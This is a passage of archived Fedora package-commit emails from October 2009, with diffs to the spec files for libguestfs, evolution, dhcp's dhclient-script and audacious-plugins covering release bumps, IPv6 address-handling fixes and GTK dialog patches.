+Provides:    virt-inspector = %{epoch}:%{version}-%{release}
+Obsoletes:   virt-inspector <= %{epoch}:%{version}-%{release}
+
+# RHBZ#514309
+Provides:    virt-df2 = %{epoch}:%{version}-%{release}
+Obsoletes:   virt-df2 <= %{epoch}:%{version}-%{release}
+
+# These were never packages:
+Provides:    virt-edit = %{epoch}:%{version}-%{release}
+Provides:    virt-rescue = %{epoch}:%{version}-%{release}
+
+
+%description tools
+This package contains miscellaneous system administrator command line
+tools for virtual machines.
 
-# Virt-rescue provides a rescue shell for making interactive,
-# unstructured fixes to virtual machines.
+Virt-cat is a command line tool to display the contents of a file in a
+virtual machine.
 
-# Virt-tar is an archive, backup and upload tool for virtual machines.
+Virt-df is a command line tool to display free space on virtual
+machine filesystems.  Unlike other tools, it doesn?t just display the
+amount of space allocated to a virtual machine, but can look inside
+the virtual machine to see how much space is really being used.  It is
+like the df(1) command, but for virtual machines, except that it also
+works for Windows virtual machines.
 
-# Virt-win-reg lets you look inside the Windows Registry for
-# Windows virtual machines.
+Virt-edit is a command line tool to edit the contents of a file in a
+virtual machine.
+
+Virt-inspector examines a virtual machine and tries to determine the
+version of the OS, the kernel version, what drivers are installed,
+whether the virtual machine is fully virtualized (FV) or
+para-virtualized (PV), what applications are installed and more.
+
+Virt-ls is a command line tool to list out files in a virtual machine.
+
+Virt-rescue provides a rescue shell for making interactive,
+unstructured fixes to virtual machines.
+
+Virt-tar is an archive, backup and upload tool for virtual machines.
+
+Virt-win-reg lets you look inside the Windows Registry for
+Windows virtual machines.
 
 
 %package -n ocaml-%{name}
@@ -325,7 +323,7 @@ mkdir -p daemon/m4
 %build
 %if %{buildnonet}
 mkdir repo
-find /var/cache/yum/ -type f -name '*.rpm' -print0 | xargs -0 cp -t repo
+find /var/cache/yum -type f -name '*.rpm' -print0 | xargs -0 cp -t repo
 createrepo repo
 ls -l repo
 %define extra --with-mirror=file://$(pwd)/repo --with-repo=epel-5 --with-updates=none
@@ -333,7 +331,6 @@ ls -l repo
 %define extra --with-mirror=http://mirror.centos.org/centos-5/5.3/os/%{_arch}/ --with-repo=centos-5 --with-updates=none
 %endif
 
-vmchannel_test=no \
 ./configure \
   --prefix=%{_prefix} --libdir=%{_libdir} \
   --mandir=%{_mandir} \
@@ -356,8 +353,9 @@ make INSTALLDIRS=vendor %{?_smp_mflags}
 # it produces masses of output in the build.log.
 export LIBGUESTFS_DEBUG=1
 
+# Tests disabled TEMPORARILY for faster builds of 1.0.76.  Can be REENABLED.
 %ifarch %{ix86}
-make check
+#make check
 %endif
 
 
@@ -425,7 +423,7 @@ chmod -x src/generator.ml
 
 # Move installed documentation back to the source directory so
 # we can install it using a %%doc rule.
-#mv $RPM_BUILD_ROOT%{_docdir}/libguestfs installed-docs
+mv $RPM_BUILD_ROOT%{_docdir}/libguestfs installed-docs
 
 # Find locale files.
 %find_lang %{name}
@@ -458,7 +456,7 @@ rm -rf $RPM_BUILD_ROOT
 %defattr(-,root,root,-)
 %doc ChangeLog HACKING TODO README ex html/guestfs.3.html html/pod.css
 %doc src/generator.ml
-#%doc installed-docs/*
+%doc installed-docs/*
 %{_libdir}/libguestfs.so
 %{_libdir}/libhivex.so
 %{_mandir}/man1/hivexml.1*
@@ -479,24 +477,24 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man1/guestfish.1*
 
 
-# %files tools
-# %defattr(-,root,root,-)
-# %{_bindir}/virt-cat
-# %{_mandir}/man1/virt-cat.1*
-# %{_bindir}/virt-df
-# %{_mandir}/man1/virt-df.1*
-# %{_bindir}/virt-edit
-# %{_mandir}/man1/virt-edit.1*
-# %{_bindir}/virt-inspector
-# %{_mandir}/man1/virt-inspector.1*
-# %{_bindir}/virt-ls
-# %{_mandir}/man1/virt-ls.1*
-# %{_bindir}/virt-rescue
-# %{_mandir}/man1/virt-rescue.1*
-# %{_bindir}/virt-tar
-# %{_mandir}/man1/virt-tar.1*
-# %{_bindir}/virt-win-reg
-# %{_mandir}/man1/virt-win-reg.1*
+%files tools
+%defattr(-,root,root,-)
+%{_bindir}/virt-cat
+%{_mandir}/man1/virt-cat.1*
+%{_bindir}/virt-df
+%{_mandir}/man1/virt-df.1*
+%{_bindir}/virt-edit
+%{_mandir}/man1/virt-edit.1*
+%{_bindir}/virt-inspector
+%{_mandir}/man1/virt-inspector.1*
+%{_bindir}/virt-ls
+%{_mandir}/man1/virt-ls.1*
+%{_bindir}/virt-rescue
+%{_mandir}/man1/virt-rescue.1*
+%{_bindir}/virt-tar
+%{_mandir}/man1/virt-tar.1*
+%{_bindir}/virt-win-reg
+%{_mandir}/man1/virt-win-reg.1*
 
 
 %files -n ocaml-%{name}
@@ -564,6 +562,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 30 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.76-1.el5.2
+- Try building tools now that EPEL may have been rebased to 5.4.
+- Tests disabled *temporarily* to allow faster builds.
+
 * Thu Oct 29 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.76-1
 - New upstream release 1.0.76.  No changes here except to have
   a prebuilt autoconf environment.



From rjones at fedoraproject.org  Fri Oct 30 09:11:09 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Fri, 30 Oct 2009 09:11:09 +0000 (UTC)
Subject: rpms/libguestfs/EL-5 libguestfs.spec,1.82,1.83
Message-ID: <20091030091109.6B22411C0418@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/libguestfs/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4618

Modified Files:
	libguestfs.spec 
Log Message:
perl-devel package does not exist on EPEL 5.4.


Index: libguestfs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/EL-5/libguestfs.spec,v
retrieving revision 1.82
retrieving revision 1.83
diff -u -p -r1.82 -r1.83
--- libguestfs.spec	30 Oct 2009 08:59:22 -0000	1.82
+++ libguestfs.spec	30 Oct 2009 09:11:07 -0000	1.83
@@ -5,7 +5,7 @@ Summary:     Access and modify virtual m
 Name:        libguestfs
 Epoch:       1
 Version:     1.0.76
-Release:     1%{?dist}.2
+Release:     1%{?dist}.3
 License:     LGPLv2+
 Group:       Development/Libraries
 URL:         http://libguestfs.org/
@@ -64,7 +64,7 @@ Requires:      grub, ntfsprogs
 BuildRequires: ocaml
 BuildRequires: ocaml-findlib-devel
 BuildRequires: ocaml-xml-light-devel
-BuildRequires: perl-devel
+#BuildRequires: perl-devel
 #BuildRequires: perl-Test-Simple
 BuildRequires: perl-Test-Pod
 BuildRequires: perl-Test-Pod-Coverage
@@ -562,7 +562,7 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
-* Fri Oct 30 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.76-1.el5.2
+* Fri Oct 30 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.76-1.el5.3
 - Try building tools now that EPEL may have been rebased to 5.4.
 - Tests disabled *temporarily* to allow faster builds.
 



From rjones at fedoraproject.org  Fri Oct 30 09:25:00 2009
From: rjones at fedoraproject.org (Richard W.M. Jones)
Date: Fri, 30 Oct 2009 09:25:00 +0000 (UTC)
Subject: rpms/libguestfs/EL-5 libguestfs.spec,1.83,1.84
Message-ID: <20091030092501.1381311C00E8@cvs1.fedora.phx.redhat.com>

Author: rjones

Update of /cvs/pkgs/rpms/libguestfs/EL-5
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv8328

Modified Files:
	libguestfs.spec 
Log Message:
Reenable tests.


Index: libguestfs.spec
===================================================================
RCS file: /cvs/pkgs/rpms/libguestfs/EL-5/libguestfs.spec,v
retrieving revision 1.83
retrieving revision 1.84
diff -u -p -r1.83 -r1.84
--- libguestfs.spec	30 Oct 2009 09:11:07 -0000	1.83
+++ libguestfs.spec	30 Oct 2009 09:24:59 -0000	1.84
@@ -5,7 +5,7 @@ Summary:     Access and modify virtual m
 Name:        libguestfs
 Epoch:       1
 Version:     1.0.76
-Release:     1%{?dist}.3
+Release:     1%{?dist}.4
 License:     LGPLv2+
 Group:       Development/Libraries
 URL:         http://libguestfs.org/
@@ -355,7 +355,7 @@ export LIBGUESTFS_DEBUG=1
 
 # Tests disabled TEMPORARILY for faster builds of 1.0.76.  Can be REENABLED.
 %ifarch %{ix86}
-#make check
+make check
 %endif
 
 
@@ -562,6 +562,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 30 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.76-1.el5.4
+- Reenable tests.
+
 * Fri Oct 30 2009 Richard W.M. Jones <rjones at redhat.com> - 1.0.76-1.el5.3
 - Try building tools now that EPEL may have been rebased to 5.4.
 - Tests disabled *temporarily* to allow faster builds.



From mbarnes at fedoraproject.org  Fri Oct 30 09:32:16 2009
From: mbarnes at fedoraproject.org (Matthew Barnes)
Date: Fri, 30 Oct 2009 09:32:16 +0000 (UTC)
Subject: rpms/evolution/F-12 .cvsignore, 1.116.2.29,
	1.116.2.30 evolution-kb-override-version.patch, 1.1.2.4,
	1.1.2.5 evolution.spec, 1.394.2.67, 1.394.2.68 sources,
	1.116.2.34, 1.116.2.35
Message-ID: <20091030093216.E843611C00E8@cvs1.fedora.phx.redhat.com>

Author: mbarnes

Update of /cvs/pkgs/rpms/evolution/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv11250

Modified Files:
      Tag: private-mbarnes-kb
	.cvsignore evolution-kb-override-version.patch evolution.spec 
	sources 
Log Message:

* Thu Oct 29 2009 Matthew Barnes <mbarnes at redhat.com> - 2.28.99-1.kb.4.fc12
- Snapshot of "kill-bonobo" progress at commit adadf13.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/evolution/F-12/.cvsignore,v
retrieving revision 1.116.2.29
retrieving revision 1.116.2.30
diff -u -p -r1.116.2.29 -r1.116.2.30
--- .cvsignore	7 Oct 2009 21:37:47 -0000	1.116.2.29
+++ .cvsignore	30 Oct 2009 09:32:15 -0000	1.116.2.30
@@ -1 +1 @@
-evolution-2.29.1-kill-bonobo-7813f02.tar.bz2
+evolution-2.29.2-kill-bonobo-adadf13.tar.bz2

evolution-kb-override-version.patch:
 configure.ac |   10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

Index: evolution-kb-override-version.patch
===================================================================
RCS file: /cvs/pkgs/rpms/evolution/F-12/Attic/evolution-kb-override-version.patch,v
retrieving revision 1.1.2.4
retrieving revision 1.1.2.5
diff -u -p -r1.1.2.4 -r1.1.2.5
--- evolution-kb-override-version.patch	9 Sep 2009 02:54:29 -0000	1.1.2.4
+++ evolution-kb-override-version.patch	30 Oct 2009 09:32:15 -0000	1.1.2.5
@@ -1,11 +1,11 @@
-diff -up evolution-2.29.1-kill-bonobo-0a47d87/configure.ac.override-version evolution-2.29.1-kill-bonobo-0a47d87/configure.ac
---- evolution-2.29.1-kill-bonobo-0a47d87/configure.ac.override-version	2009-09-08 19:41:23.000000000 -0400
-+++ evolution-2.29.1-kill-bonobo-0a47d87/configure.ac	2009-09-08 22:53:53.636195371 -0400
+diff -up evolution-2.29.2-kill-bonobo-0a47d87/configure.ac.override-version evolution-2.29.2-kill-bonobo-0a47d87/configure.ac
+--- evolution-2.29.2-kill-bonobo-0a47d87/configure.ac.override-version	2009-09-08 19:41:23.000000000 -0400
++++ evolution-2.29.2-kill-bonobo-0a47d87/configure.ac	2009-09-08 22:53:53.636195371 -0400
 @@ -1,7 +1,7 @@
  dnl Evolution Versions
  m4_define([evo_major_version], [2])
 -m4_define([evo_minor_version], [29])
--m4_define([evo_micro_version], [1])
+-m4_define([evo_micro_version], [2])
 +m4_define([evo_minor_version], [27])
 +m4_define([evo_micro_version], [99])
  m4_define([evo_version],
@@ -30,4 +30,4 @@ diff -up evolution-2.29.1-kill-bonobo-0a
 +m4_define([eds_minimum_version], [2.27.1])
  m4_define([gnome_icon_theme_minimum_version], [2.19.91])
  m4_define([gnome_desktop_minimum_version], [2.26.0])
- m4_define([libgtkhtml_minimum_version], [3.27.90])
+ m4_define([libgtkhtml_minimum_version], [3.29.1])


Index: evolution.spec
===================================================================
RCS file: /cvs/pkgs/rpms/evolution/F-12/evolution.spec,v
retrieving revision 1.394.2.67
retrieving revision 1.394.2.68
diff -u -p -r1.394.2.67 -r1.394.2.68
--- evolution.spec	7 Oct 2009 21:37:48 -0000	1.394.2.67
+++ evolution.spec	30 Oct 2009 09:32:15 -0000	1.394.2.68
@@ -1,5 +1,5 @@
 # This is an unofficial RPM for testing Evolution's kill-bonobo branch.
-%define hash 7813f02
+%define hash adadf13
 
 %define dbus_glib_version 0.70
 %define dbus_version 1.0
@@ -45,13 +45,13 @@
 
 Name: evolution
 Version: 2.28.99
-Release: 1.kb.5%{?dist}
+Release: 1.kb.4%{?dist}
 Group: Applications/Productivity
 Summary: Mail and calendar client for GNOME
 License: GPLv2+ and GFDL
 URL: http://projects.gnome.org/evolution/
 BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
-Source: %{name}-2.29.1-kill-bonobo-%{hash}.tar.bz2
+Source: %{name}-2.29.2-kill-bonobo-%{hash}.tar.bz2
 
 Obsoletes: libgal2 <= %{last_libgal2_version}
 
@@ -222,7 +222,7 @@ Requires: %{name} = %{version}-%{release
 This package contains supplemental utilities for %{name} that require Perl.
 
 %prep
-%setup -q -n %{name}-2.29.1-kill-bonobo-%{hash}
+%setup -q -n %{name}-2.29.2-kill-bonobo-%{hash}
 %patch10 -p1 -b .ldaphack
 %patch11 -p1 -b .fix-conduit-dir
 %patch12 -p1 -b .im-context-reset
@@ -527,6 +527,12 @@ rm -rf $RPM_BUILD_ROOT
 %{evo_plugin_dir}/org-gnome-evolution-startup-wizard.eplug
 %{evo_plugin_dir}/liborg-gnome-evolution-startup-wizard.so
 
+#%{evo_plugin_dir}/org-gnome-exchange-ab-subscription.xml
+#%{evo_plugin_dir}/org-gnome-exchange-cal-subscription.xml
+#%{evo_plugin_dir}/org-gnome-exchange-tasks-subscription.xml
+#%{evo_plugin_dir}/org-gnome-folder-permissions.xml
+#%{evo_plugin_dir}/org-gnome-folder-subscription.xml
+
 %{evo_plugin_dir}/org-gnome-groupwise-features.eplug
 %{evo_plugin_dir}/liborg-gnome-groupwise-features.so
 %{evo_plugin_dir}/org-gnome-compose-send-options.xml
@@ -589,6 +595,7 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/pkgconfig/evolution-plugin.pc
 %{_libdir}/pkgconfig/evolution-shell.pc
 %{_libdir}/evolution/%{evo_major}/libcomposer.so
+#%{_libdir}/evolution/%{evo_major}/libefilterbar.so
 %{_libdir}/evolution/%{evo_major}/libeabutil.so
 %{_libdir}/evolution/%{evo_major}/libeconduit.so
 %{_libdir}/evolution/%{evo_major}/libecontacteditor.so
@@ -602,12 +609,15 @@ rm -rf $RPM_BUILD_ROOT
 %{_libdir}/evolution/%{evo_major}/libetimezonedialog.so
 %{_libdir}/evolution/%{evo_major}/libeutil.so
 %{_libdir}/evolution/%{evo_major}/libevolution-a11y.so
+#%{_libdir}/evolution/%{evo_major}/libevolution-addressbook-a11y.so
 %{_libdir}/evolution/%{evo_major}/libevolution-addressbook-importers.so
 %{_libdir}/evolution/%{evo_major}/libevolution-calendar.so
+#%{_libdir}/evolution/%{evo_major}/libevolution-calendar-a11y.so
 %{_libdir}/evolution/%{evo_major}/libevolution-calendar-importers.so
 %{_libdir}/evolution/%{evo_major}/libevolution-mail-importers.so
 %{_libdir}/evolution/%{evo_major}/libevolution-mail.so
 %{_libdir}/evolution/%{evo_major}/libevolution-smime.so
+#%{_libdir}/evolution/%{evo_major}/libevolution-widgets-a11y.so
 %{_libdir}/evolution/%{evo_major}/libfilter.so
 %{_libdir}/evolution/%{evo_major}/libmenus.so
 
@@ -647,11 +657,8 @@ rm -rf $RPM_BUILD_ROOT
 %{_libexecdir}/evolution/%{evo_major}/evolution-addressbook-clean
 
 %changelog
-* Wed Oct 07 2009 Matthew Barnes <mbarnes at redhat.com> - 2.28.99-1.kb.5.fc12
-- Snapshot of "kill-bonobo" progress at commit 7813f02.
-
-* Fri Oct 02 2009 Matthew Barnes <mbarnes at redhat.com> - 2.28.99-1.kb.4.fc12
-- Snapshot of "kill-bonobo" progress at commit 6fced70.
+* Thu Oct 29 2009 Matthew Barnes <mbarnes at redhat.com> - 2.28.99-1.kb.4.fc12
+- Snapshot of "kill-bonobo" progress at commit adadf13.
 
 * Tue Sep 29 2009 Matthew Barnes <mbarnes at redhat.com> - 2.28.99-1.kb.3.fc12
 - Snapshot of "kill-bonobo" progress at commit 2fa61f4.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/evolution/F-12/sources,v
retrieving revision 1.116.2.34
retrieving revision 1.116.2.35
diff -u -p -r1.116.2.34 -r1.116.2.35
--- sources	7 Oct 2009 21:37:48 -0000	1.116.2.34
+++ sources	30 Oct 2009 09:32:16 -0000	1.116.2.35
@@ -1 +1 @@
-dcfb6f5d757d853aa86a5d21e412adbe  evolution-2.29.1-kill-bonobo-7813f02.tar.bz2
+a4e70c3dacff4169f9ae4fcc626b7a27  evolution-2.29.2-kill-bonobo-adadf13.tar.bz2



From jpopelka at fedoraproject.org  Fri Oct 30 09:51:59 2009
From: jpopelka at fedoraproject.org (=?utf-8?b?SmnFmcOtIFBvcGVsa2E=?=)
Date: Fri, 30 Oct 2009 09:51:59 +0000 (UTC)
Subject: rpms/dhcp/devel dhclient-script,1.14,1.15 dhcp.spec,1.277,1.278
Message-ID: <20091030095200.1F8D111C0345@cvs1.fedora.phx.redhat.com>

Author: jpopelka

Update of /cvs/pkgs/rpms/dhcp/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv20951

Modified Files:
	dhclient-script dhcp.spec 
Log Message:
* Fri Oct 30 2009 Jiri Popelka <jpopelka at redhat.com> - 12:4.1.0p1-13
- Make dhclient-script add IPv6 address to interface (#531997)



Index: dhclient-script
===================================================================
RCS file: /cvs/pkgs/rpms/dhcp/devel/dhclient-script,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- dhclient-script	19 Sep 2009 06:22:33 -0000	1.14
+++ dhclient-script	30 Oct 2009 09:51:58 -0000	1.15
@@ -405,16 +405,14 @@ dhconfig() {
 dh6config() {
     case "${reason}" in
         BOUND6)
-            if [ -n "${new_ip6_address}" ] ||
-               [ -n "${new_ip6_prefixlen}" ]; then
+            if [ -z "${new_ip6_address}" ] &&
+               [ -z "${new_ip6_prefixlen}" ]; then
                 exit_with_hooks 2
             fi
 
             ip -f inet6 addr add ${new_ip6_address}/${new_ip6_prefixlen} \
                 dev ${interface} scope global
             make_resolv_conf
-
-            break
             ;;
 
         RENEW6|REBIND6)
@@ -422,19 +420,15 @@ dh6config() {
                [ ! "${new_dhcp6_domain_search}" = "${old_dhcp6_domain_search}" ]; then
                 make_resolv_conf
             fi
-
-            break
             ;;
 
         DEPREF6)
-            if [ -n "${new_ip6_prefixlen}" ]; then
+            if [ -z "${new_ip6_prefixlen}" ]; then
                 exit_with_hooks 2
             fi
 
             ip -f inet6 addr change ${new_ip6_address}/${new_ip6_prefixlen} \
                 dev ${interface} scope global preferred_lft 0
-
-            break
             ;;
     esac
 


Index: dhcp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dhcp/devel/dhcp.spec,v
retrieving revision 1.277
retrieving revision 1.278
diff -u -p -r1.277 -r1.278
--- dhcp.spec	13 Oct 2009 10:16:59 -0000	1.277
+++ dhcp.spec	30 Oct 2009 09:51:58 -0000	1.278
@@ -13,7 +13,7 @@
 Summary:  Dynamic host configuration protocol software
 Name:     dhcp
 Version:  %{basever}p1
-Release:  12%{?dist}
+Release:  13%{?dist}
 # NEVER CHANGE THE EPOCH on this package.  The previous maintainer (prior to
 # dcantrell maintaining the package) made incorrect use of the epoch and
 # that's why it is at 12 now.  It should have never been used, but it was.
@@ -481,6 +481,9 @@ fi
 %attr(0644,root,root) %{_mandir}/man3/omapi.3.gz
 
 %changelog
+* Fri Oct 30 2009 Jiri Popelka <jpopelka at redhat.com> - 12:4.1.0p1-13
+- Make dhclient-script add IPv6 address to interface (#531997)
+
 * Tue Oct 13 2009 Jiri Popelka <jpopelka at redhat.com> - 12:4.1.0p1-12
 - Fix 56dhclient so network comes back after suspend/hibernate (#527641)
 



From jpopelka at fedoraproject.org  Fri Oct 30 09:53:07 2009
From: jpopelka at fedoraproject.org (=?utf-8?b?SmnFmcOtIFBvcGVsa2E=?=)
Date: Fri, 30 Oct 2009 09:53:07 +0000 (UTC)
Subject: rpms/dhcp/F-12 dhclient-script,1.14,1.15 dhcp.spec,1.277,1.278
Message-ID: <20091030095307.48E6811C00E8@cvs1.fedora.phx.redhat.com>

Author: jpopelka

Update of /cvs/pkgs/rpms/dhcp/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv21408

Modified Files:
	dhclient-script dhcp.spec 
Log Message:
* Fri Oct 30 2009 Jiri Popelka <jpopelka at redhat.com> - 12:4.1.0p1-13
- Make dhclient-script add IPv6 address to interface (#531997)



Index: dhclient-script
===================================================================
RCS file: /cvs/pkgs/rpms/dhcp/F-12/dhclient-script,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- dhclient-script	19 Sep 2009 06:22:33 -0000	1.14
+++ dhclient-script	30 Oct 2009 09:53:06 -0000	1.15
@@ -405,16 +405,14 @@ dhconfig() {
 dh6config() {
     case "${reason}" in
         BOUND6)
-            if [ -n "${new_ip6_address}" ] ||
-               [ -n "${new_ip6_prefixlen}" ]; then
+            if [ -z "${new_ip6_address}" ] &&
+               [ -z "${new_ip6_prefixlen}" ]; then
                 exit_with_hooks 2
             fi
 
             ip -f inet6 addr add ${new_ip6_address}/${new_ip6_prefixlen} \
                 dev ${interface} scope global
             make_resolv_conf
-
-            break
             ;;
 
         RENEW6|REBIND6)
@@ -422,19 +420,15 @@ dh6config() {
                [ ! "${new_dhcp6_domain_search}" = "${old_dhcp6_domain_search}" ]; then
                 make_resolv_conf
             fi
-
-            break
             ;;
 
         DEPREF6)
-            if [ -n "${new_ip6_prefixlen}" ]; then
+            if [ -z "${new_ip6_prefixlen}" ]; then
                 exit_with_hooks 2
             fi
 
             ip -f inet6 addr change ${new_ip6_address}/${new_ip6_prefixlen} \
                 dev ${interface} scope global preferred_lft 0
-
-            break
             ;;
     esac
 


Index: dhcp.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dhcp/F-12/dhcp.spec,v
retrieving revision 1.277
retrieving revision 1.278
diff -u -p -r1.277 -r1.278
--- dhcp.spec	13 Oct 2009 10:20:06 -0000	1.277
+++ dhcp.spec	30 Oct 2009 09:53:06 -0000	1.278
@@ -13,7 +13,7 @@
 Summary:  Dynamic host configuration protocol software
 Name:     dhcp
 Version:  %{basever}p1
-Release:  12%{?dist}
+Release:  13%{?dist}
 # NEVER CHANGE THE EPOCH on this package.  The previous maintainer (prior to
 # dcantrell maintaining the package) made incorrect use of the epoch and
 # that's why it is at 12 now.  It should have never been used, but it was.
@@ -481,6 +481,9 @@ fi
 %attr(0644,root,root) %{_mandir}/man3/omapi.3.gz
 
 %changelog
+* Fri Oct 30 2009 Jiri Popelka <jpopelka at redhat.com> - 12:4.1.0p1-13
+- Make dhclient-script add IPv6 address to interface (#531997)
+
 * Tue Oct 13 2009 Jiri Popelka <jpopelka at redhat.com> - 12:4.1.0p1-12
 - Fix 56dhclient so network comes back after suspend/hibernate (#527641)
 



From mschwendt at fedoraproject.org  Fri Oct 30 10:10:03 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Fri, 30 Oct 2009 10:10:03 +0000 (UTC)
Subject: rpms/audacious-plugins/devel
	audacious-plugins-2.2-beta1-filewriter-dialogs.patch, NONE,
	1.1 audacious-plugins.spec, 1.57, 1.58
Message-ID: <20091030101003.9692211C0418@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/pkgs/rpms/audacious-plugins/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30141

Modified Files:
	audacious-plugins.spec 
Added Files:
	audacious-plugins-2.2-beta1-filewriter-dialogs.patch 
Log Message:
* Fri Oct 30 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.2-0.4.beta1
- Fix non-top-level filewriter plugin dialogs.


audacious-plugins-2.2-beta1-filewriter-dialogs.patch:
 filewriter.c |    1 +
 mp3.c        |    1 +
 vorbis.c     |    1 +
 3 files changed, 3 insertions(+)

--- NEW FILE audacious-plugins-2.2-beta1-filewriter-dialogs.patch ---
diff -Nur audacious-plugins-fedora-2.2-beta1-orig/src/filewriter/filewriter.c audacious-plugins-2.2-beta1-filewriter/src/filewriter/filewriter.c
--- audacious-plugins-fedora-2.2-beta1-orig/src/filewriter/filewriter.c	2009-10-20 23:37:23.000000000 +0200
+++ audacious-plugins-2.2-beta1-filewriter/src/filewriter/filewriter.c	2009-10-29 14:53:36.000000000 +0100
@@ -423,6 +423,7 @@
     if (!configure_win)
     {
         configure_win = gtk_window_new(GTK_WINDOW_TOPLEVEL);
+        gtk_window_set_type_hint(GTK_WINDOW(configure_win), GDK_WINDOW_TYPE_HINT_DIALOG);
 
         gtk_signal_connect(GTK_OBJECT(configure_win), "destroy",
                            GTK_SIGNAL_FUNC(configure_destroy), NULL);
diff -Nur audacious-plugins-fedora-2.2-beta1-orig/src/filewriter/mp3.c audacious-plugins-2.2-beta1-filewriter/src/filewriter/mp3.c
--- audacious-plugins-fedora-2.2-beta1-orig/src/filewriter/mp3.c	2009-10-20 23:37:23.000000000 +0200
+++ audacious-plugins-2.2-beta1-filewriter/src/filewriter/mp3.c	2009-10-29 14:54:32.000000000 +0100
@@ -719,6 +719,7 @@
 
     if (!configure_win) {
         configure_win = gtk_window_new(GTK_WINDOW_TOPLEVEL);
+        gtk_window_set_type_hint(GTK_WINDOW(configure_win), GDK_WINDOW_TYPE_HINT_DIALOG);
 
         gtk_signal_connect(GTK_OBJECT(configure_win), "destroy",
                            GTK_SIGNAL_FUNC(gtk_widget_destroyed),
diff -Nur audacious-plugins-fedora-2.2-beta1-orig/src/filewriter/vorbis.c audacious-plugins-2.2-beta1-filewriter/src/filewriter/vorbis.c
--- audacious-plugins-fedora-2.2-beta1-orig/src/filewriter/vorbis.c	2009-10-20 23:37:23.000000000 +0200
+++ audacious-plugins-2.2-beta1-filewriter/src/filewriter/vorbis.c	2009-10-29 14:54:21.000000000 +0100
@@ -273,6 +273,7 @@
     if (configure_win == NULL)
     {
         configure_win = gtk_window_new(GTK_WINDOW_TOPLEVEL);
+        gtk_window_set_type_hint(GTK_WINDOW(configure_win), GDK_WINDOW_TYPE_HINT_DIALOG);
         g_signal_connect(G_OBJECT(configure_win), "destroy", G_CALLBACK(gtk_widget_destroyed), NULL);
 
         gtk_window_set_title(GTK_WINDOW(configure_win), _("Vorbis Encoder Configuration"));


Index: audacious-plugins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/audacious-plugins/devel/audacious-plugins.spec,v
retrieving revision 1.57
retrieving revision 1.58
diff -u -p -r1.57 -r1.58
--- audacious-plugins.spec	25 Oct 2009 11:29:32 -0000	1.57
+++ audacious-plugins.spec	30 Oct 2009 10:10:02 -0000	1.58
@@ -5,7 +5,7 @@
 
 Name: audacious-plugins
 Version: 2.2
-Release: 0.3.beta1%{?dist}
+Release: 0.4.beta1%{?dist}
 Summary: Plugins for the Audacious media player
 Group: Applications/Multimedia
 URL: http://audacious-media-player.org/
@@ -27,6 +27,8 @@ Patch2: audacious-plugins-2.0.1-xmms-ski
 Patch3: audacious-plugins-2.2-beta1-pulseaudio.patch
 # merged upstream
 Patch4: audacious-plugins-2.2-beta1-modplug.patch
+# submitted upstream
+Patch5: audacious-plugins-2.2-beta1-filewriter-dialogs.patch
 
 BuildRequires: audacious-devel >= %{aud_ver}
 BuildRequires: jack-audio-connection-kit-devel libsamplerate-devel
@@ -151,6 +153,7 @@ vortex compressed files.
 %patch2 -p1 -b .xmms-skindir
 %patch3 -p1 -b .add-pulseaudio
 %patch4 -p1 -b .modplug
+%patch5 -p1 -b .filewriter-dialogs
 
 sed -i '\,^.SILENT:,d' buildsys.mk.in
 
@@ -233,6 +236,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 30 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.2-0.4.beta1
+- Fix non-top-level filewriter plugin dialogs.
+
 * Sun Oct 25 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.2-0.3.beta1
 - Update pulse_audio patch with correct get_song_name().
 



From mschwendt at fedoraproject.org  Fri Oct 30 10:15:57 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Fri, 30 Oct 2009 10:15:57 +0000 (UTC)
Subject: rpms/audacious-plugins/F-12
	audacious-plugins-2.1-filewriter-dialogs.patch, NONE,
	1.1 audacious-plugins.spec, 1.57, 1.58
Message-ID: <20091030101557.126E511C00E8@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/pkgs/rpms/audacious-plugins/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2087

Modified Files:
	audacious-plugins.spec 
Added Files:
	audacious-plugins-2.1-filewriter-dialogs.patch 
Log Message:
* Fri Oct 30 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.1-11
- Fix non-top-level filewriter plugin dialogs.


audacious-plugins-2.1-filewriter-dialogs.patch:
 filewriter.c |    1 +
 mp3.c        |    1 +
 vorbis.c     |    1 +
 3 files changed, 3 insertions(+)

--- NEW FILE audacious-plugins-2.1-filewriter-dialogs.patch ---
